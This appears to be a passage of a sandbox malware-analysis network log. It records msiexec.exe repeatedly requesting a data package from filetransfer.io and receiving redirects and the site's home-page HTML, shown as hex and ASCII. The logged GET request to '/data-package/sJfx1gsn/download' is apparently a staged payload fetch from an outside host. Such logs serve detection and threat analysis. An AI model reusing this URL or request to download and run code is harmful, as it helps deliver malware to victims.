2025-01-10 19:14:41 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:41 UTC	623	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:41 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:41 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UHj%2FaPQiXpPjrSQV%2B6wCUpDd%2F%2BlkdoiKZBLgOTYHa8tobsjC6L%2Fhl1p84wCg0V2V1sLrGXoiwvwsBzwNjffMWEKkMbpMRypOBxqRXt9yFN2%2FfPMytBDVlhB8cGt52%2FbC2Tc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefdd219ec7d1c-EWR
2025-01-10 19:14:41 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	57960	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:42 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:42 UTC	946	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: lRxMhkP5qymBCoBwqibyYO8/gOE/82VgdAffHZA4Ej1Vqpq2Wvpw87RTOVWSfH8XZnAHZNGHf54= x-amz-request-id: NKMJF482BZTWCYXZ Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8Vy9Ig69qR9WuQlj222draC3%2Bud%2FFNi3ojcASYweIiGA6UDgPbLteT4bQuxRkE6nPs2Y%2Bk0CN40XcldKm3C%2Fhoqy9gQloyCnfyMgXvQ4kf3515hHZ0eSmFnCpkWsmLol0qc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefdd5f92572a7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2044&min_rtt=2038&rtt_var=778&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=798&delivery_rate=1395126&cwnd=177&unsent_bytes=0&cid=28b36565f916b820&ts=203&x=0"
2025-01-10 19:14:42 UTC	423	IN	Data Raw: 32 63 61 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 2cad<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:42 UTC	1369	IN	Data Raw: 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 Data Ascii: eta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:descri
2025-01-10 19:14:42 UTC	1369	IN	Data Raw: 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a Data Ascii: ouch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png">
2025-01-10 19:14:42 UTC	1369	IN	Data Raw: 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 Data Ascii: ng"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="web
2025-01-10 19:14:42 UTC	1369	IN	Data Raw: 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 Data Ascii: nning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLea
2025-01-10 19:14:42 UTC	1369	IN	Data Raw: 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 Data Ascii: GES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@s
2025-01-10 19:14:42 UTC	1369	IN	Data Raw: 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e Data Ascii: witch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span
2025-01-10 19:14:42 UTC	1369	IN	Data Raw: 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f 76 65 2d 66 69 6c 65 25 32 46 5f 5f 6f 77 6e 65 72 43 6f 64 Data Ascii: <section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremove-file%2F__ownerCod
2025-01-10 19:14:42 UTC	1369	IN	Data Raw: 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 2d 62 79 74 65 73 22 3e 3c 2f 73 70 61 6e 3e 2e 0a 09 09 09 Data Ascii: </p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max-bytes"></span>.
2025-01-10 19:14:42 UTC	70	IN	Data Raw: 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0d 0a Data Ascii: ning alert-noremove alert-hidden" data-alert-occasion="directories">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	57961	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:43 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:43 UTC	615	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:43 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:43 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n%2FueobY8SF6QiHCWKpboQOcenSQGDY%2Bo2OHU8QUYkx6kCFC1ImQhifRvleMHzKRuLY2rUXUmjm%2F4Z2t93uRPYy7DnARHIw1Lhm4lDuRveJX6hmvyTUDR1cYNdhHHnRXwYp0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefddc3dd64273-EWR
2025-01-10 19:14:43 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	57962	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:43 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:43 UTC	946	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: +oOrWXIuDp4lCbn+UHDU01E+Xv6gXTeE4h8CU/JwLugmUmzbPa+BT54gvTYLs+ufxFv8RtJm+U0= x-amz-request-id: CCY3FZYPDZRVGP3A Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0rMY7Vz%2BhjrHkguIoTQQpSpz6S%2F4js5Z%2FhgqiWDpzmH1wCh93pCH3MY2oE00Zt6er7FKab5pBqiGs4R6kOss7rQBOyN3M3hWzZYOgQYKuqYarvFIBGtA4URi%2FDGfadZQYE0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefddfea3741df-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1621&min_rtt=1619&rtt_var=613&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1778319&cwnd=252&unsent_bytes=0&cid=760ae81d2ffa15f8&ts=178&x=0"
2025-01-10 19:14:43 UTC	423	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:43 UTC	1369	IN	Data Raw: 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 Data Ascii: eta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:descri
2025-01-10 19:14:43 UTC	1369	IN	Data Raw: 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a Data Ascii: ouch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png">
2025-01-10 19:14:43 UTC	1369	IN	Data Raw: 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 Data Ascii: ng"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="web
2025-01-10 19:14:43 UTC	1369	IN	Data Raw: 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 Data Ascii: nning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLea
